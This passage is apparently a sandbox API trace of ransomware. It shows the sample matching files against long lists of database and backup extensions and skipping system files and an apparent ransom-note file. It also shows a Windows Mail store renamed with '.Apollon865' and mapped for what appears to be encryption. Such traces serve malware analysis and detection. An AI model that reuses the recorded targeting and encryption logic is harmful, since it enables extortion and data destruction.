	[0059.776] lstrcmpiW (lpString1="ore", lpString2="lwx") returned 1
	[0059.776] lstrlenW (lpString="maf") returned 3
	[0059.776] lstrcmpiW (lpString1="ore", lpString2="maf") returned 1
	[0059.776] lstrlenW (lpString="maq") returned 3
	[0059.776] lstrcmpiW (lpString1="ore", lpString2="maq") returned 1
	[0059.776] lstrlenW (lpString="mar") returned 3
	[0059.776] lstrcmpiW (lpString1="ore", lpString2="mar") returned 1
	[0059.776] lstrlenW (lpString="marshal") returned 7
	[0059.776] lstrcmpiW (lpString1="geStore", lpString2="marshal") returned -1
	[0059.776] lstrlenW (lpString="mas") returned 3
	[0059.776] lstrcmpiW (lpString1="ore", lpString2="mas") returned 1
	[0059.777] lstrlenW (lpString="mav") returned 3
	[0059.777] lstrcmpiW (lpString1="ore", lpString2="mav") returned 1
	[0059.777] lstrlenW (lpString="maw") returned 3
	[0059.777] lstrcmpiW (lpString1="ore", lpString2="maw") returned 1
	[0059.777] lstrlenW (lpString="mdbhtml") returned 7
	[0059.777] lstrcmpiW (lpString1="geStore", lpString2="mdbhtml") returned -1
	[0059.777] lstrlenW (lpString="mdn") returned 3
	[0059.777] lstrcmpiW (lpString1="ore", lpString2="mdn") returned 1
	[0059.777] lstrlenW (lpString="mdt") returned 3
	[0059.777] lstrcmpiW (lpString1="ore", lpString2="mdt") returned 1
	[0059.777] lstrlenW (lpString="mfd") returned 3
	[0059.777] lstrcmpiW (lpString1="ore", lpString2="mfd") returned 1
	[0059.777] lstrlenW (lpString="mpd") returned 3
	[0059.777] lstrcmpiW (lpString1="ore", lpString2="mpd") returned 1
	[0059.777] lstrlenW (lpString="mrg") returned 3
	[0059.777] lstrcmpiW (lpString1="ore", lpString2="mrg") returned 1
	[0059.777] lstrlenW (lpString="mud") returned 3
	[0059.777] lstrcmpiW (lpString1="ore", lpString2="mud") returned 1
	[0059.777] lstrlenW (lpString="mwb") returned 3
	[0059.777] lstrcmpiW (lpString1="ore", lpString2="mwb") returned 1
	[0059.777] lstrlenW (lpString="myd") returned 3
	[0059.777] lstrcmpiW (lpString1="ore", lpString2="myd") returned 1
	[0059.777] lstrlenW (lpString="ndf") returned 3
	[0059.777] lstrcmpiW (lpString1="ore", lpString2="ndf") returned 1
	[0059.777] lstrlenW (lpString="nnt") returned 3
	[0059.777] lstrcmpiW (lpString1="ore", lpString2="nnt") returned 1
	[0059.777] lstrlenW (lpString="nrmlib") returned 6
	[0059.777] lstrcmpiW (lpString1="eStore", lpString2="nrmlib") returned -1
	[0059.777] lstrlenW (lpString="ns2") returned 3
	[0059.777] lstrcmpiW (lpString1="ore", lpString2="ns2") returned 1
	[0059.777] lstrlenW (lpString="ns3") returned 3
	[0059.777] lstrcmpiW (lpString1="ore", lpString2="ns3") returned 1
	[0059.777] lstrlenW (lpString="ns4") returned 3
	[0059.777] lstrcmpiW (lpString1="ore", lpString2="ns4") returned 1
	[0059.778] lstrlenW (lpString="nsf") returned 3
	[0059.778] lstrcmpiW (lpString1="ore", lpString2="nsf") returned 1
	[0059.778] lstrlenW (lpString="nv") returned 2
	[0059.778] lstrcmpiW (lpString1="re", lpString2="nv") returned 1
	[0059.778] lstrlenW (lpString="nv2") returned 3
	[0059.778] lstrcmpiW (lpString1="ore", lpString2="nv2") returned 1
	[0059.778] lstrlenW (lpString="nwdb") returned 4
	[0059.778] lstrcmpiW (lpString1="tore", lpString2="nwdb") returned 1
	[0059.778] lstrlenW (lpString="nyf") returned 3
	[0059.778] lstrcmpiW (lpString1="ore", lpString2="nyf") returned 1
	[0059.778] lstrlenW (lpString="odb") returned 3
	[0059.778] lstrcmpiW (lpString1="ore", lpString2="odb") returned 1
	[0059.778] lstrlenW (lpString="odb") returned 3
	[0059.778] lstrcmpiW (lpString1="ore", lpString2="odb") returned 1
	[0059.778] lstrlenW (lpString="oqy") returned 3
	[0059.778] lstrcmpiW (lpString1="ore", lpString2="oqy") returned 1
	[0059.778] lstrlenW (lpString="ora") returned 3
	[0059.778] lstrcmpiW (lpString1="ore", lpString2="ora") returned 1
	[0059.778] lstrlenW (lpString="orx") returned 3
	[0059.778] lstrcmpiW (lpString1="ore", lpString2="orx") returned -1
	[0059.778] lstrlenW (lpString="owc") returned 3
	[0059.778] lstrcmpiW (lpString1="ore", lpString2="owc") returned -1
	[0059.778] lstrlenW (lpString="p96") returned 3
	[0059.778] lstrcmpiW (lpString1="ore", lpString2="p96") returned -1
	[0059.778] lstrlenW (lpString="p97") returned 3
	[0059.778] lstrcmpiW (lpString1="ore", lpString2="p97") returned -1
	[0059.778] lstrlenW (lpString="pan") returned 3
	[0059.778] lstrcmpiW (lpString1="ore", lpString2="pan") returned -1
	[0059.778] lstrlenW (lpString="pdb") returned 3
	[0059.778] lstrcmpiW (lpString1="ore", lpString2="pdb") returned -1
	[0059.778] lstrlenW (lpString="pdm") returned 3
	[0059.778] lstrcmpiW (lpString1="ore", lpString2="pdm") returned -1
	[0059.778] lstrlenW (lpString="pnz") returned 3
	[0059.778] lstrcmpiW (lpString1="ore", lpString2="pnz") returned -1
	[0059.779] lstrlenW (lpString="qry") returned 3
	[0059.779] lstrcmpiW (lpString1="ore", lpString2="qry") returned -1
	[0059.779] lstrlenW (lpString="qvd") returned 3
	[0059.779] lstrcmpiW (lpString1="ore", lpString2="qvd") returned -1
	[0059.779] lstrlenW (lpString="rbf") returned 3
	[0059.779] lstrcmpiW (lpString1="ore", lpString2="rbf") returned -1
	[0059.779] lstrlenW (lpString="rctd") returned 4
	[0059.779] lstrcmpiW (lpString1="tore", lpString2="rctd") returned 1
	[0059.779] lstrlenW (lpString="rod") returned 3
	[0059.779] lstrcmpiW (lpString1="ore", lpString2="rod") returned -1
	[0059.779] lstrlenW (lpString="rodx") returned 4
	[0059.779] lstrcmpiW (lpString1="tore", lpString2="rodx") returned 1
	[0059.779] lstrlenW (lpString="rpd") returned 3
	[0059.779] lstrcmpiW (lpString1="ore", lpString2="rpd") returned -1
	[0059.779] lstrlenW (lpString="rsd") returned 3
	[0059.779] lstrcmpiW (lpString1="ore", lpString2="rsd") returned -1
	[0059.779] lstrlenW (lpString="sas7bdat") returned 8
	[0059.779] lstrcmpiW (lpString1="ageStore", lpString2="sas7bdat") returned -1
	[0059.779] lstrlenW (lpString="sbf") returned 3
	[0059.779] lstrcmpiW (lpString1="ore", lpString2="sbf") returned -1
	[0059.779] lstrlenW (lpString="scx") returned 3
	[0059.779] lstrcmpiW (lpString1="ore", lpString2="scx") returned -1
	[0059.779] lstrlenW (lpString="sdb") returned 3
	[0059.779] lstrcmpiW (lpString1="ore", lpString2="sdb") returned -1
	[0059.779] lstrlenW (lpString="sdc") returned 3
	[0059.779] lstrcmpiW (lpString1="ore", lpString2="sdc") returned -1
	[0059.779] lstrlenW (lpString="sdf") returned 3
	[0059.779] lstrcmpiW (lpString1="ore", lpString2="sdf") returned -1
	[0059.779] lstrlenW (lpString="sis") returned 3
	[0059.779] lstrcmpiW (lpString1="ore", lpString2="sis") returned -1
	[0059.779] lstrlenW (lpString="spq") returned 3
	[0059.779] lstrcmpiW (lpString1="ore", lpString2="spq") returned -1
	[0059.779] lstrlenW (lpString="te") returned 2
	[0059.779] lstrcmpiW (lpString1="re", lpString2="te") returned -1
	[0059.779] lstrlenW (lpString="teacher") returned 7
	[0059.780] lstrcmpiW (lpString1="geStore", lpString2="teacher") returned -1
	[0059.780] lstrlenW (lpString="tmd") returned 3
	[0059.780] lstrcmpiW (lpString1="ore", lpString2="tmd") returned -1
	[0059.780] lstrlenW (lpString="tps") returned 3
	[0059.780] lstrcmpiW (lpString1="ore", lpString2="tps") returned -1
	[0059.780] lstrlenW (lpString="trc") returned 3
	[0059.780] lstrcmpiW (lpString1="ore", lpString2="trc") returned -1
	[0059.780] lstrlenW (lpString="trc") returned 3
	[0059.780] lstrcmpiW (lpString1="ore", lpString2="trc") returned -1
	[0059.780] lstrlenW (lpString="trm") returned 3
	[0059.780] lstrcmpiW (lpString1="ore", lpString2="trm") returned -1
	[0059.780] lstrlenW (lpString="udb") returned 3
	[0059.780] lstrcmpiW (lpString1="ore", lpString2="udb") returned -1
	[0059.780] lstrlenW (lpString="udl") returned 3
	[0059.780] lstrcmpiW (lpString1="ore", lpString2="udl") returned -1
	[0059.780] lstrlenW (lpString="usr") returned 3
	[0059.780] lstrcmpiW (lpString1="ore", lpString2="usr") returned -1
	[0059.780] lstrlenW (lpString="v12") returned 3
	[0059.780] lstrcmpiW (lpString1="ore", lpString2="v12") returned -1
	[0059.780] lstrlenW (lpString="vis") returned 3
	[0059.780] lstrcmpiW (lpString1="ore", lpString2="vis") returned -1
	[0059.780] lstrlenW (lpString="vpd") returned 3
	[0059.780] lstrcmpiW (lpString1="ore", lpString2="vpd") returned -1
	[0059.780] lstrlenW (lpString="vvv") returned 3
	[0059.780] lstrcmpiW (lpString1="ore", lpString2="vvv") returned -1
	[0059.780] lstrlenW (lpString="wdb") returned 3
	[0059.780] lstrcmpiW (lpString1="ore", lpString2="wdb") returned -1
	[0059.780] lstrlenW (lpString="wmdb") returned 4
	[0059.780] lstrcmpiW (lpString1="tore", lpString2="wmdb") returned -1
	[0059.780] lstrlenW (lpString="wrk") returned 3
	[0059.780] lstrcmpiW (lpString1="ore", lpString2="wrk") returned -1
	[0059.780] lstrlenW (lpString="xdb") returned 3
	[0059.780] lstrcmpiW (lpString1="ore", lpString2="xdb") returned -1
	[0059.780] lstrlenW (lpString="xld") returned 3
	[0059.781] lstrcmpiW (lpString1="ore", lpString2="xld") returned -1
	[0059.781] lstrlenW (lpString="xmlff") returned 5
	[0059.781] lstrcmpiW (lpString1="Store", lpString2="xmlff") returned -1
	[0059.781] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.MSMessageStore.Apollon865") returned 102
	[0059.781] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.MSMessageStore" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\windowsmail.msmessagestore"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.MSMessageStore.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\windowsmail.msmessagestore.apollon865"), dwFlags=0x1) returned 1
	[0059.784] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.MSMessageStore.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\windowsmail.msmessagestore.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0059.785] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=2121728) returned 1
	[0059.785] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0059.785] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0059.785] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0059.785] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0059.786] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0059.786] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.786] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x206300, lpName=0x0) returned 0x14c
	[0059.791] MapViewOfFile (hFileMappingObject=0x14c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x6300) returned 0x100000
	[0059.794] MapViewOfFile (hFileMappingObject=0x14c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3270000
	[0060.735] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0060.735] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0060.735] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0060.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0060.736] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0060.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0060.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0060.736] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0060.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0060.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0060.736] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0060.736] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0060.736] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0060.736] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0060.737] CloseHandle (hObject=0x14c) returned 1
	[0060.737] CloseHandle (hObject=0x150) returned 1
	[0060.737] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0060.737] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0060.737] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0060.746] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64e9680, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64e9680, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2fec56f, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WindowsMail.pat", cAlternateFileName="WINDOW~1.PAT")) returned 1
	[0060.746] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.746] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="Apollon865.txt.exe") returned 1
	[0060.746] lstrcmpiW (lpString1="WindowsMail.pat", lpString2=".") returned 1
	[0060.746] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="..") returned 1
	[0060.746] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="windows") returned 1
	[0060.746] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="bootmgr") returned 1
	[0060.746] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="temp") returned 1
	[0060.746] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="pagefile.sys") returned 1
	[0060.746] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="boot") returned 1
	[0060.746] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="ids.txt") returned 1
	[0060.746] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="ntuser.dat") returned 1
	[0060.746] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="perflogs") returned 1
	[0060.746] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="MSBuild") returned 1
	[0060.746] lstrlenW (lpString="WindowsMail.pat") returned 15
	[0060.747] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.MSMessageStore") returned 91
	[0060.747] lstrcpyW (in: lpString1=0x119e68a, lpString2="WindowsMail.pat" | out: lpString1="WindowsMail.pat") returned="WindowsMail.pat"
	[0060.747] lstrlenW (lpString="WindowsMail.pat") returned 15
	[0060.747] lstrlenW (lpString="Apollon865") returned 10
	[0060.747] lstrcmpiW (lpString1="wsMail.pat", lpString2="Apollon865") returned 1
	[0060.747] lstrlenW (lpString=".dll") returned 4
	[0060.747] lstrcmpiW (lpString1="WindowsMail.pat", lpString2=".dll") returned 1
	[0060.747] lstrlenW (lpString=".lnk") returned 4
	[0060.747] lstrcmpiW (lpString1="WindowsMail.pat", lpString2=".lnk") returned 1
	[0060.747] lstrlenW (lpString=".ini") returned 4
	[0060.747] lstrcmpiW (lpString1="WindowsMail.pat", lpString2=".ini") returned 1
	[0060.747] lstrlenW (lpString=".sys") returned 4
	[0060.747] lstrcmpiW (lpString1="WindowsMail.pat", lpString2=".sys") returned 1
	[0060.747] lstrlenW (lpString="WindowsMail.pat") returned 15
	[0060.747] lstrlenW (lpString="bak") returned 3
	[0060.747] lstrcmpiW (lpString1="pat", lpString2="bak") returned 1
	[0060.747] lstrlenW (lpString="ba_") returned 3
	[0060.747] lstrcmpiW (lpString1="pat", lpString2="ba_") returned 1
	[0060.747] lstrlenW (lpString="dbb") returned 3
	[0060.747] lstrcmpiW (lpString1="pat", lpString2="dbb") returned 1
	[0060.747] lstrlenW (lpString="vmdk") returned 4
	[0060.747] lstrcmpiW (lpString1=".pat", lpString2="vmdk") returned -1
	[0060.747] lstrlenW (lpString="rar") returned 3
	[0060.747] lstrcmpiW (lpString1="pat", lpString2="rar") returned -1
	[0060.747] lstrlenW (lpString="zip") returned 3
	[0060.747] lstrcmpiW (lpString1="pat", lpString2="zip") returned -1
	[0060.747] lstrlenW (lpString="tgz") returned 3
	[0060.747] lstrcmpiW (lpString1="pat", lpString2="tgz") returned -1
	[0060.748] lstrlenW (lpString="vbox") returned 4
	[0060.748] lstrcmpiW (lpString1=".pat", lpString2="vbox") returned -1
	[0060.748] lstrlenW (lpString="vdi") returned 3
	[0060.748] lstrcmpiW (lpString1="pat", lpString2="vdi") returned -1
	[0060.748] lstrlenW (lpString="vhd") returned 3
	[0060.748] lstrcmpiW (lpString1="pat", lpString2="vhd") returned -1
	[0060.748] lstrlenW (lpString="vhdx") returned 4
	[0060.748] lstrcmpiW (lpString1=".pat", lpString2="vhdx") returned -1
	[0060.748] lstrlenW (lpString="avhd") returned 4
	[0060.748] lstrcmpiW (lpString1=".pat", lpString2="avhd") returned -1
	[0060.748] lstrlenW (lpString="db") returned 2
	[0060.748] lstrcmpiW (lpString1="at", lpString2="db") returned -1
	[0060.748] lstrlenW (lpString="db2") returned 3
	[0060.748] lstrcmpiW (lpString1="pat", lpString2="db2") returned 1
	[0060.748] lstrlenW (lpString="db3") returned 3
	[0060.748] lstrcmpiW (lpString1="pat", lpString2="db3") returned 1
	[0060.748] lstrlenW (lpString="dbf") returned 3
	[0060.748] lstrcmpiW (lpString1="pat", lpString2="dbf") returned 1
	[0060.748] lstrlenW (lpString="mdf") returned 3
	[0060.748] lstrcmpiW (lpString1="pat", lpString2="mdf") returned 1
	[0060.748] lstrlenW (lpString="mdb") returned 3
	[0060.748] lstrcmpiW (lpString1="pat", lpString2="mdb") returned 1
	[0060.748] lstrlenW (lpString="sql") returned 3
	[0060.748] lstrcmpiW (lpString1="pat", lpString2="sql") returned -1
	[0060.748] lstrlenW (lpString="sqlite") returned 6
	[0060.748] lstrcmpiW (lpString1="il.pat", lpString2="sqlite") returned -1
	[0060.748] lstrlenW (lpString="sqlite3") returned 7
	[0060.748] lstrcmpiW (lpString1="ail.pat", lpString2="sqlite3") returned -1
	[0060.748] lstrlenW (lpString="sqlitedb") returned 8
	[0060.748] lstrcmpiW (lpString1="Mail.pat", lpString2="sqlitedb") returned -1
	[0060.748] lstrlenW (lpString="xml") returned 3
	[0060.748] lstrcmpiW (lpString1="pat", lpString2="xml") returned -1
	[0060.748] lstrlenW (lpString="$er") returned 3
	[0060.749] lstrcmpiW (lpString1="pat", lpString2="$er") returned 1
	[0060.749] lstrlenW (lpString="4dd") returned 3
	[0060.749] lstrcmpiW (lpString1="pat", lpString2="4dd") returned 1
	[0060.749] lstrlenW (lpString="4dl") returned 3
	[0060.749] lstrcmpiW (lpString1="pat", lpString2="4dl") returned 1
	[0060.749] lstrlenW (lpString="^^^") returned 3
	[0060.749] lstrcmpiW (lpString1="pat", lpString2="^^^") returned 1
	[0060.749] lstrlenW (lpString="abs") returned 3
	[0060.749] lstrcmpiW (lpString1="pat", lpString2="abs") returned 1
	[0060.749] lstrlenW (lpString="abx") returned 3
	[0060.749] lstrcmpiW (lpString1="pat", lpString2="abx") returned 1
	[0060.749] lstrlenW (lpString="accdb") returned 5
	[0060.749] lstrcmpiW (lpString1="l.pat", lpString2="accdb") returned 1
	[0060.749] lstrlenW (lpString="accdc") returned 5
	[0060.749] lstrcmpiW (lpString1="l.pat", lpString2="accdc") returned 1
	[0060.749] lstrlenW (lpString="accde") returned 5
	[0060.749] lstrcmpiW (lpString1="l.pat", lpString2="accde") returned 1
	[0060.749] lstrlenW (lpString="accdr") returned 5
	[0060.749] lstrcmpiW (lpString1="l.pat", lpString2="accdr") returned 1
	[0060.749] lstrlenW (lpString="accdt") returned 5
	[0060.749] lstrcmpiW (lpString1="l.pat", lpString2="accdt") returned 1
	[0060.749] lstrlenW (lpString="accdw") returned 5
	[0060.749] lstrcmpiW (lpString1="l.pat", lpString2="accdw") returned 1
	[0060.749] lstrlenW (lpString="accft") returned 5
	[0060.749] lstrcmpiW (lpString1="l.pat", lpString2="accft") returned 1
	[0060.749] lstrlenW (lpString="adb") returned 3
	[0060.749] lstrcmpiW (lpString1="pat", lpString2="adb") returned 1
	[0060.749] lstrlenW (lpString="adb") returned 3
	[0060.749] lstrcmpiW (lpString1="pat", lpString2="adb") returned 1
	[0060.749] lstrlenW (lpString="ade") returned 3
	[0060.749] lstrcmpiW (lpString1="pat", lpString2="ade") returned 1
	[0060.749] lstrlenW (lpString="adf") returned 3
	[0060.749] lstrcmpiW (lpString1="pat", lpString2="adf") returned 1
	[0060.749] lstrlenW (lpString="adn") returned 3
	[0060.750] lstrcmpiW (lpString1="pat", lpString2="adn") returned 1
	[0060.750] lstrlenW (lpString="adp") returned 3
	[0060.750] lstrcmpiW (lpString1="pat", lpString2="adp") returned 1
	[0060.750] lstrlenW (lpString="alf") returned 3
	[0060.750] lstrcmpiW (lpString1="pat", lpString2="alf") returned 1
	[0060.750] lstrlenW (lpString="ask") returned 3
	[0060.750] lstrcmpiW (lpString1="pat", lpString2="ask") returned 1
	[0060.750] lstrlenW (lpString="btr") returned 3
	[0060.750] lstrcmpiW (lpString1="pat", lpString2="btr") returned 1
	[0060.750] lstrlenW (lpString="cat") returned 3
	[0060.750] lstrcmpiW (lpString1="pat", lpString2="cat") returned 1
	[0060.750] lstrlenW (lpString="cdb") returned 3
	[0060.750] lstrcmpiW (lpString1="pat", lpString2="cdb") returned 1
	[0060.750] lstrlenW (lpString="ckp") returned 3
	[0060.750] lstrcmpiW (lpString1="pat", lpString2="ckp") returned 1
	[0060.750] lstrlenW (lpString="cma") returned 3
	[0060.750] lstrcmpiW (lpString1="pat", lpString2="cma") returned 1
	[0060.750] lstrlenW (lpString="cpd") returned 3
	[0060.750] lstrcmpiW (lpString1="pat", lpString2="cpd") returned 1
	[0060.750] lstrlenW (lpString="dacpac") returned 6
	[0060.750] lstrcmpiW (lpString1="il.pat", lpString2="dacpac") returned 1
	[0060.750] lstrlenW (lpString="dad") returned 3
	[0060.750] lstrcmpiW (lpString1="pat", lpString2="dad") returned 1
	[0060.750] lstrlenW (lpString="dadiagrams") returned 10
	[0060.750] lstrcmpiW (lpString1="wsMail.pat", lpString2="dadiagrams") returned 1
	[0060.750] lstrlenW (lpString="daschema") returned 8
	[0060.750] lstrcmpiW (lpString1="Mail.pat", lpString2="daschema") returned 1
	[0060.750] lstrlenW (lpString="db-journal") returned 10
	[0060.750] lstrcmpiW (lpString1="wsMail.pat", lpString2="db-journal") returned 1
	[0060.750] lstrlenW (lpString="db-shm") returned 6
	[0060.750] lstrcmpiW (lpString1="il.pat", lpString2="db-shm") returned 1
	[0060.750] lstrlenW (lpString="db-wal") returned 6
	[0060.750] lstrcmpiW (lpString1="il.pat", lpString2="db-wal") returned 1
	[0060.750] lstrlenW (lpString="dbc") returned 3
	[0060.751] lstrcmpiW (lpString1="pat", lpString2="dbc") returned 1
	[0060.751] lstrlenW (lpString="dbs") returned 3
	[0060.751] lstrcmpiW (lpString1="pat", lpString2="dbs") returned 1
	[0060.751] lstrlenW (lpString="dbt") returned 3
	[0060.751] lstrcmpiW (lpString1="pat", lpString2="dbt") returned 1
	[0060.751] lstrlenW (lpString="dbv") returned 3
	[0060.751] lstrcmpiW (lpString1="pat", lpString2="dbv") returned 1
	[0060.751] lstrlenW (lpString="dbx") returned 3
	[0060.751] lstrcmpiW (lpString1="pat", lpString2="dbx") returned 1
	[0060.751] lstrlenW (lpString="dcb") returned 3
	[0060.751] lstrcmpiW (lpString1="pat", lpString2="dcb") returned 1
	[0060.751] lstrlenW (lpString="dct") returned 3
	[0060.751] lstrcmpiW (lpString1="pat", lpString2="dct") returned 1
	[0060.751] lstrlenW (lpString="dcx") returned 3
	[0060.751] lstrcmpiW (lpString1="pat", lpString2="dcx") returned 1
	[0060.751] lstrlenW (lpString="ddl") returned 3
	[0060.751] lstrcmpiW (lpString1="pat", lpString2="ddl") returned 1
	[0060.751] lstrlenW (lpString="dlis") returned 4
	[0060.751] lstrcmpiW (lpString1=".pat", lpString2="dlis") returned -1
	[0060.751] lstrlenW (lpString="dp1") returned 3
	[0060.751] lstrcmpiW (lpString1="pat", lpString2="dp1") returned 1
	[0060.751] lstrlenW (lpString="dqy") returned 3
	[0060.751] lstrcmpiW (lpString1="pat", lpString2="dqy") returned 1
	[0060.751] lstrlenW (lpString="dsk") returned 3
	[0060.751] lstrcmpiW (lpString1="pat", lpString2="dsk") returned 1
	[0060.751] lstrlenW (lpString="dsn") returned 3
	[0060.751] lstrcmpiW (lpString1="pat", lpString2="dsn") returned 1
	[0060.751] lstrlenW (lpString="dtsx") returned 4
	[0060.751] lstrcmpiW (lpString1=".pat", lpString2="dtsx") returned -1
	[0060.751] lstrlenW (lpString="dxl") returned 3
	[0060.751] lstrcmpiW (lpString1="pat", lpString2="dxl") returned 1
	[0060.751] lstrlenW (lpString="eco") returned 3
	[0060.751] lstrcmpiW (lpString1="pat", lpString2="eco") returned 1
	[0060.751] lstrlenW (lpString="ecx") returned 3
	[0060.752] lstrcmpiW (lpString1="pat", lpString2="ecx") returned 1
	[0060.752] lstrlenW (lpString="edb") returned 3
	[0060.752] lstrcmpiW (lpString1="pat", lpString2="edb") returned 1
	[0060.752] lstrlenW (lpString="epim") returned 4
	[0060.752] lstrcmpiW (lpString1=".pat", lpString2="epim") returned -1
	[0060.752] lstrlenW (lpString="fcd") returned 3
	[0060.752] lstrcmpiW (lpString1="pat", lpString2="fcd") returned 1
	[0060.752] lstrlenW (lpString="fdb") returned 3
	[0060.752] lstrcmpiW (lpString1="pat", lpString2="fdb") returned 1
	[0060.752] lstrlenW (lpString="fic") returned 3
	[0060.752] lstrcmpiW (lpString1="pat", lpString2="fic") returned 1
	[0060.752] lstrlenW (lpString="flexolibrary") returned 12
	[0060.752] lstrcmpiW (lpString1="dowsMail.pat", lpString2="flexolibrary") returned -1
	[0060.752] lstrlenW (lpString="fm5") returned 3
	[0060.752] lstrcmpiW (lpString1="pat", lpString2="fm5") returned 1
	[0060.752] lstrlenW (lpString="fmp") returned 3
	[0060.752] lstrcmpiW (lpString1="pat", lpString2="fmp") returned 1
	[0060.752] lstrlenW (lpString="fmp12") returned 5
	[0060.752] lstrcmpiW (lpString1="l.pat", lpString2="fmp12") returned 1
	[0060.752] lstrlenW (lpString="fmpsl") returned 5
	[0060.752] lstrcmpiW (lpString1="l.pat", lpString2="fmpsl") returned 1
	[0060.752] lstrlenW (lpString="fol") returned 3
	[0060.752] lstrcmpiW (lpString1="pat", lpString2="fol") returned 1
	[0060.752] lstrlenW (lpString="fp3") returned 3
	[0060.752] lstrcmpiW (lpString1="pat", lpString2="fp3") returned 1
	[0060.752] lstrlenW (lpString="fp4") returned 3
	[0060.752] lstrcmpiW (lpString1="pat", lpString2="fp4") returned 1
	[0060.752] lstrlenW (lpString="fp5") returned 3
	[0060.752] lstrcmpiW (lpString1="pat", lpString2="fp5") returned 1
	[0060.752] lstrlenW (lpString="fp7") returned 3
	[0060.752] lstrcmpiW (lpString1="pat", lpString2="fp7") returned 1
	[0060.752] lstrlenW (lpString="fpt") returned 3
	[0060.752] lstrcmpiW (lpString1="pat", lpString2="fpt") returned 1
	[0060.752] lstrlenW (lpString="frm") returned 3
	[0060.753] lstrcmpiW (lpString1="pat", lpString2="frm") returned 1
	[0060.753] lstrlenW (lpString="gdb") returned 3
